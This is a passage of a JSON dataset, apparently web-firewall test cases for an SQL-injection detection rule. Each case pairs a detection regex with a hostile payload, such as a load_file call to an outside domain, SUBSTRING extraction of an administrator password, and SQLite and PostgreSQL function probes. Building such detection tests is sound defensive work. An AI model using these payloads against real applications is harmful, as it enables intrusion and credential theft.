"(?i)\\b(?:a(?:dd(?:dat|tim)e|es_(?:de|en)crypt|s(?:cii(?:str)?|in)|tan2?)|b(?:enchmark|i(?:n_to_num|t_(?:and|count|length|x?or)))|c(?:har(?:acter)?_length|eil(?:ing)?|o(?:alesce|ercibility|llation|(?:mpres)?s|n(?:cat(?:_ws)?|nection_id|v(?:ert_tz)?)|t)|rc32|ur(?:(?:dat|tim)e|rent_(?:date|setting|time(?:stamp)?|user)))|d(?:a(?:t(?:abase(?:_to_xml)?|e(?:_(?:add|format|sub)|diff))|y(?:name|of(?:month|week|year)))|count|e(?:code|s_(?:de|en)crypt)|ump)|e(?:n(?:c(?:ode|rypt)|ds_?with)|x(?:p(?:ort_set)?|tract(?:value)?))|f(?:i(?:el|n)d_in_set|ound_rows|rom_(?:base64|days|unixtime))|g(?:e(?:ometrycollection|t(?:_(?:format|lock)|pgusername))|(?:r(?:eates|oup_conca)|tid_subse)t)|hex(?:toraw)?|i(?:fnull|n(?:et6?_(?:aton|ntoa)|s(?:ert|tr)|terval)|s(?:_(?:(?:free|used)_lock|ipv(?:4(?:_(?:compat|mapped))?|6)|n(?:ot(?:_null)?|ull)|superuser)|null))|json(?:_(?:a(?:gg|rray(?:_(?:elements(?:_text)?|length))?)|build_(?:array|object)|e(?:ac|xtract_pat)h(?:_text)?|object(?:_(?:agg|keys))?|populate_record(?:set)?|strip_nulls|t(?:o_record(?:set)?|ypeof))|b(?:_(?:array(?:_(?:elements(?:_text)?|length))?|build_(?:array|object)|e(?:ac|xtract_pat)h(?:_text)?|insert|object(?:_(?:agg|keys))?|p(?:ath_(?:(?:exists|match)(?:_tz)?|query(?:_(?:(?:array|first)(?:_tz)?|tz))?)|opulate_record(?:set)?|retty)|s(?:et(?:_lax)?|trip_nulls)|t(?:o_record(?:set)?|ypeof)))?|path)?|l(?:ast_(?:day|insert_id)|case|east|i(?:kely|nestring)|o(?:_(?:from_bytea|put)|ad_file|ca(?:ltimestamp|te)|g(?:10|2))|pad|trim)|m(?:a(?:ke(?:_set|date)|ster_pos_wait)|d5|i(?:crosecon)?d|onthname|ulti(?:linestring|po(?:int|lygon)))|n(?:ame_const|ot_in|ullif)|o(?:ct(?:et_length)?|(?:ld_passwo)?rd)|p(?:eriod_(?:add|diff)|g_(?:client_encoding|(?:databas|read_fil)e|l(?:argeobject|s_dir)|sleep|user)|o(?:lygon|w)|rocedure_analyse)|qu(?:ery_to_xml|ote)|r(?:a(?:dians|nd|wtohex)|elease_lock|ow_(?:count|to_json)|pad|trim)|s(?:chema|e(?:c_to_time|ssion_user)|ha[12]?|in|oundex|q(?:lite_(?:compileoption_(?:get|used)|source_id)|rt)|t(?:arts_?with|d(?:dev_(?:po|sam)p)?|r(?:_to_date|cmp))|ub(?:(?:dat|tim)e|str(?:ing(?:_index)?)?)|ys(?:date|tem_user))|t(?:ime(?:_(?:format|to_sec)|diff|stamp(?:add|diff)?)|o(?:_(?:base64|jsonb?)|n?char|(?:day|second)s)|r(?:im|uncate))|u(?:case|n(?:compress(?:ed_length)?|hex|i(?:str|x_timestamp))|(?:pdatexm|se_json_nul)l|tc_(?:date|time(?:stamp)?)|uid(?:_short)?)|var(?:_(?:po|sam)p|iance)|we(?:ek(?:day|ofyear)|ight_string)|xmltype|yearweek)[^0-9A-Z_a-z]*\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942151", "test_description": "Simple SQL injection" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=(select load_file('\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\unitests.corerule'||'set.org\\\\\\\\\\\\\\\\hvs'))" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:dd(?:dat|tim)e|es_(?:de|en)crypt|s(?:cii(?:str)?|in)|tan2?)|b(?:enchmark|i(?:n_to_num|t_(?:and|count|length|x?or)))|c(?:har(?:acter)?_length|eil(?:ing)?|o(?:alesce|ercibility|llation|(?:mpres)?s|n(?:cat(?:_ws)?|nection_id|v(?:ert_tz)?)|t)|rc32|ur(?:(?:dat|tim)e|rent_(?:date|setting|time(?:stamp)?|user)))|d(?:a(?:t(?:abase(?:_to_xml)?|e(?:_(?:add|format|sub)|diff))|y(?:name|of(?:month|week|year)))|count|e(?:code|s_(?:de|en)crypt)|ump)|e(?:n(?:c(?:ode|rypt)|ds_?with)|x(?:p(?:ort_set)?|tract(?:value)?))|f(?:i(?:el|n)d_in_set|ound_rows|rom_(?:base64|days|unixtime))|g(?:e(?:ometrycollection|t(?:_(?:format|lock)|pgusername))|(?:r(?:eates|oup_conca)|tid_subse)t)|hex(?:toraw)?|i(?:fnull|n(?:et6?_(?:aton|ntoa)|s(?:ert|tr)|terval)|s(?:_(?:(?:free|used)_lock|ipv(?:4(?:_(?:compat|mapped))?|6)|n(?:ot(?:_null)?|ull)|superuser)|null))|json(?:_(?:a(?:gg|rray(?:_(?:elements(?:_text)?|length))?)|build_(?:array|object)|e(?:ac|xtract_pat)h(?:_text)?|object(?:_(?:agg|keys))?|populate_record(?:set)?|strip_nulls|t(?:o_record(?:set)?|ypeof))|b(?:_(?:array(?:_(?:elements(?:_text)?|length))?|build_(?:array|object)|e(?:ac|xtract_pat)h(?:_text)?|insert|object(?:_(?:agg|keys))?|p(?:ath_(?:(?:exists|match)(?:_tz)?|query(?:_(?:(?:array|first)(?:_tz)?|tz))?)|opulate_record(?:set)?|retty)|s(?:et(?:_lax)?|trip_nulls)|t(?:o_record(?:set)?|ypeof)))?|path)?|l(?:ast_(?:day|insert_id)|case|east|i(?:kely|nestring)|o(?:_(?:from_bytea|put)|ad_file|ca(?:ltimestamp|te)|g(?:10|2))|pad|trim)|m(?:a(?:ke(?:_set|date)|ster_pos_wait)|d5|i(?:crosecon)?d|onthname|ulti(?:linestring|po(?:int|lygon)))|n(?:ame_const|ot_in|ullif)|o(?:ct(?:et_length)?|(?:ld_passwo)?rd)|p(?:eriod_(?:add|diff)|g_(?:client_encoding|(?:databas|read_fil)e|l(?:argeobject|s_dir)|sleep|user)|o(?:lygon|w)|rocedure_analyse)|qu(?:ery_to_xml|ote)|r(?:a(?:dians|nd|wtohex)|elease_lock|ow_(?:count|to_json)|pad|trim)|s(?:chema|e(?:c_to_time|ssion_user)|ha[12]?|in|oundex|q(?:lite_(?:compileoption_(?:get|used)|source_id)|rt)|t(?:arts_?with|d(?:dev_(?:po|sam)p)?|r(?:_to_date|cmp))|ub(?:(?:dat|tim)e|str(?:ing(?:_index)?)?)|ys(?:date|tem_user))|t(?:ime(?:_(?:format|to_sec)|diff|stamp(?:add|diff)?)|o(?:_(?:base64|jsonb?)|n?char|(?:day|second)s)|r(?:im|uncate))|u(?:case|n(?:compress(?:ed_length)?|hex|i(?:str|x_timestamp))|(?:pdatexm|se_json_nul)l|tc_(?:date|time(?:stamp)?)|uid(?:_short)?)|var(?:_(?:po|sam)p|iance)|we(?:ek(?:day|ofyear)|ight_string)|xmltype|yearweek)[^0-9A-Z_a-z]*\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942151", "test_description": "Advanced SQL injection" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=, FIND_IN_SET('22', Category )" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:dd(?:dat|tim)e|es_(?:de|en)crypt|s(?:cii(?:str)?|in)|tan2?)|b(?:enchmark|i(?:n_to_num|t_(?:and|count|length|x?or)))|c(?:har(?:acter)?_length|eil(?:ing)?|o(?:alesce|ercibility|llation|(?:mpres)?s|n(?:cat(?:_ws)?|nection_id|v(?:ert_tz)?)|t)|rc32|ur(?:(?:dat|tim)e|rent_(?:date|setting|time(?:stamp)?|user)))|d(?:a(?:t(?:abase(?:_to_xml)?|e(?:_(?:add|format|sub)|diff))|y(?:name|of(?:month|week|year)))|count|e(?:code|s_(?:de|en)crypt)|ump)|e(?:n(?:c(?:ode|rypt)|ds_?with)|x(?:p(?:ort_set)?|tract(?:value)?))|f(?:i(?:el|n)d_in_set|ound_rows|rom_(?:base64|days|unixtime))|g(?:e(?:ometrycollection|t(?:_(?:format|lock)|pgusername))|(?:r(?:eates|oup_conca)|tid_subse)t)|hex(?:toraw)?|i(?:fnull|n(?:et6?_(?:aton|ntoa)|s(?:ert|tr)|terval)|s(?:_(?:(?:free|used)_lock|ipv(?:4(?:_(?:compat|mapped))?|6)|n(?:ot(?:_null)?|ull)|superuser)|null))|json(?:_(?:a(?:gg|rray(?:_(?:elements(?:_text)?|length))?)|build_(?:array|object)|e(?:ac|xtract_pat)h(?:_text)?|object(?:_(?:agg|keys))?|populate_record(?:set)?|strip_nulls|t(?:o_record(?:set)?|ypeof))|b(?:_(?:array(?:_(?:elements(?:_text)?|length))?|build_(?:array|object)|e(?:ac|xtract_pat)h(?:_text)?|insert|object(?:_(?:agg|keys))?|p(?:ath_(?:(?:exists|match)(?:_tz)?|query(?:_(?:(?:array|first)(?:_tz)?|tz))?)|opulate_record(?:set)?|retty)|s(?:et(?:_lax)?|trip_nulls)|t(?:o_record(?:set)?|ypeof)))?|path)?|l(?:ast_(?:day|insert_id)|case|east|i(?:kely|nestring)|o(?:_(?:from_bytea|put)|ad_file|ca(?:ltimestamp|te)|g(?:10|2))|pad|trim)|m(?:a(?:ke(?:_set|date)|ster_pos_wait)|d5|i(?:crosecon)?d|onthname|ulti(?:linestring|po(?:int|lygon)))|n(?:ame_const|ot_in|ullif)|o(?:ct(?:et_length)?|(?:ld_passwo)?rd)|p(?:eriod_(?:add|diff)|g_(?:client_encoding|(?:databas|read_fil)e|l(?:argeobject|s_dir)|sleep|user)|o(?:lygon|w)|rocedure_analyse)|qu(?:ery_to_xml|ote)|r(?:a(?:dians|nd|wtohex)|elease_lock|ow_(?:count|to_json)|pad|trim)|s(?:chema|e(?:c_to_time|ssion_user)|ha[12]?|in|oundex|q(?:lite_(?:compileoption_(?:get|used)|source_id)|rt)|t(?:arts_?with|d(?:dev_(?:po|sam)p)?|r(?:_to_date|cmp))|ub(?:(?:dat|tim)e|str(?:ing(?:_index)?)?)|ys(?:date|tem_user))|t(?:ime(?:_(?:format|to_sec)|diff|stamp(?:add|diff)?)|o(?:_(?:base64|jsonb?)|n?char|(?:day|second)s)|r(?:im|uncate))|u(?:case|n(?:compress(?:ed_length)?|hex|i(?:str|x_timestamp))|(?:pdatexm|se_json_nul)l|tc_(?:date|time(?:stamp)?)|uid(?:_short)?)|var(?:_(?:po|sam)p|iance)|we(?:ek(?:day|ofyear)|ight_string)|xmltype|yearweek)[^0-9A-Z_a-z]*\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942151", "test_description": "Simple injection using 'fetch_in_set'" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "email=%27%20AND%20SUBSTRING%28%28SELECT%20Password%20FROM%20Users%20WHERE%20Username%20%3D%20%27Administrator%27%29%2C%201%2C%201%29%20%3E%20%27m" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:dd(?:dat|tim)e|es_(?:de|en)crypt|s(?:cii(?:str)?|in)|tan2?)|b(?:enchmark|i(?:n_to_num|t_(?:and|count|length|x?or)))|c(?:har(?:acter)?_length|eil(?:ing)?|o(?:alesce|ercibility|llation|(?:mpres)?s|n(?:cat(?:_ws)?|nection_id|v(?:ert_tz)?)|t)|rc32|ur(?:(?:dat|tim)e|rent_(?:date|setting|time(?:stamp)?|user)))|d(?:a(?:t(?:abase(?:_to_xml)?|e(?:_(?:add|format|sub)|diff))|y(?:name|of(?:month|week|year)))|count|e(?:code|s_(?:de|en)crypt)|ump)|e(?:n(?:c(?:ode|rypt)|ds_?with)|x(?:p(?:ort_set)?|tract(?:value)?))|f(?:i(?:el|n)d_in_set|ound_rows|rom_(?:base64|days|unixtime))|g(?:e(?:ometrycollection|t(?:_(?:format|lock)|pgusername))|(?:r(?:eates|oup_conca)|tid_subse)t)|hex(?:toraw)?|i(?:fnull|n(?:et6?_(?:aton|ntoa)|s(?:ert|tr)|terval)|s(?:_(?:(?:free|used)_lock|ipv(?:4(?:_(?:compat|mapped))?|6)|n(?:ot(?:_null)?|ull)|superuser)|null))|json(?:_(?:a(?:gg|rray(?:_(?:elements(?:_text)?|length))?)|build_(?:array|object)|e(?:ac|xtract_pat)h(?:_text)?|object(?:_(?:agg|keys))?|populate_record(?:set)?|strip_nulls|t(?:o_record(?:set)?|ypeof))|b(?:_(?:array(?:_(?:elements(?:_text)?|length))?|build_(?:array|object)|e(?:ac|xtract_pat)h(?:_text)?|insert|object(?:_(?:agg|keys))?|p(?:ath_(?:(?:exists|match)(?:_tz)?|query(?:_(?:(?:array|first)(?:_tz)?|tz))?)|opulate_record(?:set)?|retty)|s(?:et(?:_lax)?|trip_nulls)|t(?:o_record(?:set)?|ypeof)))?|path)?|l(?:ast_(?:day|insert_id)|case|east|i(?:kely|nestring)|o(?:_(?:from_bytea|put)|ad_file|ca(?:ltimestamp|te)|g(?:10|2))|pad|trim)|m(?:a(?:ke(?:_set|date)|ster_pos_wait)|d5|i(?:crosecon)?d|onthname|ulti(?:linestring|po(?:int|lygon)))|n(?:ame_const|ot_in|ullif)|o(?:ct(?:et_length)?|(?:ld_passwo)?rd)|p(?:eriod_(?:add|diff)|g_(?:client_encoding|(?:databas|read_fil)e|l(?:argeobject|s_dir)|sleep|user)|o(?:lygon|w)|rocedure_analyse)|qu(?:ery_to_xml|ote)|r(?:a(?:dians|nd|wtohex)|elease_lock|ow_(?:count|to_json)|pad|trim)|s(?:chema|e(?:c_to_time|ssion_user)|ha[12]?|in|oundex|q(?:lite_(?:compileoption_(?:get|used)|source_id)|rt)|t(?:arts_?with|d(?:dev_(?:po|sam)p)?|r(?:_to_date|cmp))|ub(?:(?:dat|tim)e|str(?:ing(?:_index)?)?)|ys(?:date|tem_user))|t(?:ime(?:_(?:format|to_sec)|diff|stamp(?:add|diff)?)|o(?:_(?:base64|jsonb?)|n?char|(?:day|second)s)|r(?:im|uncate))|u(?:case|n(?:compress(?:ed_length)?|hex|i(?:str|x_timestamp))|(?:pdatexm|se_json_nul)l|tc_(?:date|time(?:stamp)?)|uid(?:_short)?)|var(?:_(?:po|sam)p|iance)|we(?:ek(?:day|ofyear)|ight_string)|xmltype|yearweek)[^0-9A-Z_a-z]*\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942151", "test_description": "SQL injection using 'substring' function" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "email=admin%40example.com'%20or%20sqlite_compileoption_used%20(id)--" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:dd(?:dat|tim)e|es_(?:de|en)crypt|s(?:cii(?:str)?|in)|tan2?)|b(?:enchmark|i(?:n_to_num|t_(?:and|count|length|x?or)))|c(?:har(?:acter)?_length|eil(?:ing)?|o(?:alesce|ercibility|llation|(?:mpres)?s|n(?:cat(?:_ws)?|nection_id|v(?:ert_tz)?)|t)|rc32|ur(?:(?:dat|tim)e|rent_(?:date|setting|time(?:stamp)?|user)))|d(?:a(?:t(?:abase(?:_to_xml)?|e(?:_(?:add|format|sub)|diff))|y(?:name|of(?:month|week|year)))|count|e(?:code|s_(?:de|en)crypt)|ump)|e(?:n(?:c(?:ode|rypt)|ds_?with)|x(?:p(?:ort_set)?|tract(?:value)?))|f(?:i(?:el|n)d_in_set|ound_rows|rom_(?:base64|days|unixtime))|g(?:e(?:ometrycollection|t(?:_(?:format|lock)|pgusername))|(?:r(?:eates|oup_conca)|tid_subse)t)|hex(?:toraw)?|i(?:fnull|n(?:et6?_(?:aton|ntoa)|s(?:ert|tr)|terval)|s(?:_(?:(?:free|used)_lock|ipv(?:4(?:_(?:compat|mapped))?|6)|n(?:ot(?:_null)?|ull)|superuser)|null))|json(?:_(?:a(?:gg|rray(?:_(?:elements(?:_text)?|length))?)|build_(?:array|object)|e(?:ac|xtract_pat)h(?:_text)?|object(?:_(?:agg|keys))?|populate_record(?:set)?|strip_nulls|t(?:o_record(?:set)?|ypeof))|b(?:_(?:array(?:_(?:elements(?:_text)?|length))?|build_(?:array|object)|e(?:ac|xtract_pat)h(?:_text)?|insert|object(?:_(?:agg|keys))?|p(?:ath_(?:(?:exists|match)(?:_tz)?|query(?:_(?:(?:array|first)(?:_tz)?|tz))?)|opulate_record(?:set)?|retty)|s(?:et(?:_lax)?|trip_nulls)|t(?:o_record(?:set)?|ypeof)))?|path)?|l(?:ast_(?:day|insert_id)|case|east|i(?:kely|nestring)|o(?:_(?:from_bytea|put)|ad_file|ca(?:ltimestamp|te)|g(?:10|2))|pad|trim)|m(?:a(?:ke(?:_set|date)|ster_pos_wait)|d5|i(?:crosecon)?d|onthname|ulti(?:linestring|po(?:int|lygon)))|n(?:ame_const|ot_in|ullif)|o(?:ct(?:et_length)?|(?:ld_passwo)?rd)|p(?:eriod_(?:add|diff)|g_(?:client_encoding|(?:databas|read_fil)e|l(?:argeobject|s_dir)|sleep|user)|o(?:lygon|w)|rocedure_analyse)|qu(?:ery_to_xml|ote)|r(?:a(?:dians|nd|wtohex)|elease_lock|ow_(?:count|to_json)|pad|trim)|s(?:chema|e(?:c_to_time|ssion_user)|ha[12]?|in|oundex|q(?:lite_(?:compileoption_(?:get|used)|source_id)|rt)|t(?:arts_?with|d(?:dev_(?:po|sam)p)?|r(?:_to_date|cmp))|ub(?:(?:dat|tim)e|str(?:ing(?:_index)?)?)|ys(?:date|tem_user))|t(?:ime(?:_(?:format|to_sec)|diff|stamp(?:add|diff)?)|o(?:_(?:base64|jsonb?)|n?char|(?:day|second)s)|r(?:im|uncate))|u(?:case|n(?:compress(?:ed_length)?|hex|i(?:str|x_timestamp))|(?:pdatexm|se_json_nul)l|tc_(?:date|time(?:stamp)?)|uid(?:_short)?)|var(?:_(?:po|sam)p|iance)|we(?:ek(?:day|ofyear)|ight_string)|xmltype|yearweek)[^0-9A-Z_a-z]*\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942151", "test_description": "SQL injection using SQLite 'sqlite_compileoption_used' function" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "email=admin%40example.com'and%20not%20sqlite_compileoption_get%20(id)--" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:dd(?:dat|tim)e|es_(?:de|en)crypt|s(?:cii(?:str)?|in)|tan2?)|b(?:enchmark|i(?:n_to_num|t_(?:and|count|length|x?or)))|c(?:har(?:acter)?_length|eil(?:ing)?|o(?:alesce|ercibility|llation|(?:mpres)?s|n(?:cat(?:_ws)?|nection_id|v(?:ert_tz)?)|t)|rc32|ur(?:(?:dat|tim)e|rent_(?:date|setting|time(?:stamp)?|user)))|d(?:a(?:t(?:abase(?:_to_xml)?|e(?:_(?:add|format|sub)|diff))|y(?:name|of(?:month|week|year)))|count|e(?:code|s_(?:de|en)crypt)|ump)|e(?:n(?:c(?:ode|rypt)|ds_?with)|x(?:p(?:ort_set)?|tract(?:value)?))|f(?:i(?:el|n)d_in_set|ound_rows|rom_(?:base64|days|unixtime))|g(?:e(?:ometrycollection|t(?:_(?:format|lock)|pgusername))|(?:r(?:eates|oup_conca)|tid_subse)t)|hex(?:toraw)?|i(?:fnull|n(?:et6?_(?:aton|ntoa)|s(?:ert|tr)|terval)|s(?:_(?:(?:free|used)_lock|ipv(?:4(?:_(?:compat|mapped))?|6)|n(?:ot(?:_null)?|ull)|superuser)|null))|json(?:_(?:a(?:gg|rray(?:_(?:elements(?:_text)?|length))?)|build_(?:array|object)|e(?:ac|xtract_pat)h(?:_text)?|object(?:_(?:agg|keys))?|populate_record(?:set)?|strip_nulls|t(?:o_record(?:set)?|ypeof))|b(?:_(?:array(?:_(?:elements(?:_text)?|length))?|build_(?:array|object)|e(?:ac|xtract_pat)h(?:_text)?|insert|object(?:_(?:agg|keys))?|p(?:ath_(?:(?:exists|match)(?:_tz)?|query(?:_(?:(?:array|first)(?:_tz)?|tz))?)|opulate_record(?:set)?|retty)|s(?:et(?:_lax)?|trip_nulls)|t(?:o_record(?:set)?|ypeof)))?|path)?|l(?:ast_(?:day|insert_id)|case|east|i(?:kely|nestring)|o(?:_(?:from_bytea|put)|ad_file|ca(?:ltimestamp|te)|g(?:10|2))|pad|trim)|m(?:a(?:ke(?:_set|date)|ster_pos_wait)|d5|i(?:crosecon)?d|onthname|ulti(?:linestring|po(?:int|lygon)))|n(?:ame_const|ot_in|ullif)|o(?:ct(?:et_length)?|(?:ld_passwo)?rd)|p(?:eriod_(?:add|diff)|g_(?:client_encoding|(?:databas|read_fil)e|l(?:argeobject|s_dir)|sleep|user)|o(?:lygon|w)|rocedure_analyse)|qu(?:ery_to_xml|ote)|r(?:a(?:dians|nd|wtohex)|elease_lock|ow_(?:count|to_json)|pad|trim)|s(?:chema|e(?:c_to_time|ssion_user)|ha[12]?|in|oundex|q(?:lite_(?:compileoption_(?:get|used)|source_id)|rt)|t(?:arts_?with|d(?:dev_(?:po|sam)p)?|r(?:_to_date|cmp))|ub(?:(?:dat|tim)e|str(?:ing(?:_index)?)?)|ys(?:date|tem_user))|t(?:ime(?:_(?:format|to_sec)|diff|stamp(?:add|diff)?)|o(?:_(?:base64|jsonb?)|n?char|(?:day|second)s)|r(?:im|uncate))|u(?:case|n(?:compress(?:ed_length)?|hex|i(?:str|x_timestamp))|(?:pdatexm|se_json_nul)l|tc_(?:date|time(?:stamp)?)|uid(?:_short)?)|var(?:_(?:po|sam)p|iance)|we(?:ek(?:day|ofyear)|ight_string)|xmltype|yearweek)[^0-9A-Z_a-z]*\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942151", "test_description": "SQL injection using SQLite 'sqlite_compileoption_get' function" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "id=starts_with(password,'a')::int" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:dd(?:dat|tim)e|es_(?:de|en)crypt|s(?:cii(?:str)?|in)|tan2?)|b(?:enchmark|i(?:n_to_num|t_(?:and|count|length|x?or)))|c(?:har(?:acter)?_length|eil(?:ing)?|o(?:alesce|ercibility|llation|(?:mpres)?s|n(?:cat(?:_ws)?|nection_id|v(?:ert_tz)?)|t)|rc32|ur(?:(?:dat|tim)e|rent_(?:date|setting|time(?:stamp)?|user)))|d(?:a(?:t(?:abase(?:_to_xml)?|e(?:_(?:add|format|sub)|diff))|y(?:name|of(?:month|week|year)))|count|e(?:code|s_(?:de|en)crypt)|ump)|e(?:n(?:c(?:ode|rypt)|ds_?with)|x(?:p(?:ort_set)?|tract(?:value)?))|f(?:i(?:el|n)d_in_set|ound_rows|rom_(?:base64|days|unixtime))|g(?:e(?:ometrycollection|t(?:_(?:format|lock)|pgusername))|(?:r(?:eates|oup_conca)|tid_subse)t)|hex(?:toraw)?|i(?:fnull|n(?:et6?_(?:aton|ntoa)|s(?:ert|tr)|terval)|s(?:_(?:(?:free|used)_lock|ipv(?:4(?:_(?:compat|mapped))?|6)|n(?:ot(?:_null)?|ull)|superuser)|null))|json(?:_(?:a(?:gg|rray(?:_(?:elements(?:_text)?|length))?)|build_(?:array|object)|e(?:ac|xtract_pat)h(?:_text)?|object(?:_(?:agg|keys))?|populate_record(?:set)?|strip_nulls|t(?:o_record(?:set)?|ypeof))|b(?:_(?:array(?:_(?:elements(?:_text)?|length))?|build_(?:array|object)|e(?:ac|xtract_pat)h(?:_text)?|insert|object(?:_(?:agg|keys))?|p(?:ath_(?:(?:exists|match)(?:_tz)?|query(?:_(?:(?:array|first)(?:_tz)?|tz))?)|opulate_record(?:set)?|retty)|s(?:et(?:_lax)?|trip_nulls)|t(?:o_record(?:set)?|ypeof)))?|path)?|l(?:ast_(?:day|insert_id)|case|east|i(?:kely|nestring)|o(?:_(?:from_bytea|put)|ad_file|ca(?:ltimestamp|te)|g(?:10|2))|pad|trim)|m(?:a(?:ke(?:_set|date)|ster_pos_wait)|d5|i(?:crosecon)?d|onthname|ulti(?:linestring|po(?:int|lygon)))|n(?:ame_const|ot_in|ullif)|o(?:ct(?:et_length)?|(?:ld_passwo)?rd)|p(?:eriod_(?:add|diff)|g_(?:client_encoding|(?:databas|read_fil)e|l(?:argeobject|s_dir)|sleep|user)|o(?:lygon|w)|rocedure_analyse)|qu(?:ery_to_xml|ote)|r(?:a(?:dians|nd|wtohex)|elease_lock|ow_(?:count|to_json)|pad|trim)|s(?:chema|e(?:c_to_time|ssion_user)|ha[12]?|in|oundex|q(?:lite_(?:compileoption_(?:get|used)|source_id)|rt)|t(?:arts_?with|d(?:dev_(?:po|sam)p)?|r(?:_to_date|cmp))|ub(?:(?:dat|tim)e|str(?:ing(?:_index)?)?)|ys(?:date|tem_user))|t(?:ime(?:_(?:format|to_sec)|diff|stamp(?:add|diff)?)|o(?:_(?:base64|jsonb?)|n?char|(?:day|second)s)|r(?:im|uncate))|u(?:case|n(?:compress(?:ed_length)?|hex|i(?:str|x_timestamp))|(?:pdatexm|se_json_nul)l|tc_(?:date|time(?:stamp)?)|uid(?:_short)?)|var(?:_(?:po|sam)p|iance)|we(?:ek(?:day|ofyear)|ight_string)|xmltype|yearweek)[^0-9A-Z_a-z]*\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942151", "test_description": "SQL injection using PostgreSQL starts_with() function" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "id=jsonb_pretty(...(1,password)::jsonb)::int" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:dd(?:dat|tim)e|es_(?:de|en)crypt|s(?:cii(?:str)?|in)|tan2?)|b(?:enchmark|i(?:n_to_num|t_(?:and|count|length|x?or)))|c(?:har(?:acter)?_length|eil(?:ing)?|o(?:alesce|ercibility|llation|(?:mpres)?s|n(?:cat(?:_ws)?|nection_id|v(?:ert_tz)?)|t)|rc32|ur(?:(?:dat|tim)e|rent_(?:date|setting|time(?:stamp)?|user)))|d(?:a(?:t(?:abase(?:_to_xml)?|e(?:_(?:add|format|sub)|diff))|y(?:name|of(?:month|week|year)))|count|e(?:code|s_(?:de|en)crypt)|ump)|e(?:n(?:c(?:ode|rypt)|ds_?with)|x(?:p(?:ort_set)?|tract(?:value)?))|f(?:i(?:el|n)d_in_set|ound_rows|rom_(?:base64|days|unixtime))|g(?:e(?:ometrycollection|t(?:_(?:format|lock)|pgusername))|(?:r(?:eates|oup_conca)|tid_subse)t)|hex(?:toraw)?|i(?:fnull|n(?:et6?_(?:aton|ntoa)|s(?:ert|tr)|terval)|s(?:_(?:(?:free|used)_lock|ipv(?:4(?:_(?:compat|mapped))?|6)|n(?:ot(?:_null)?|ull)|superuser)|null))|json(?:_(?:a(?:gg|rray(?:_(?:elements(?:_text)?|length))?)|build_(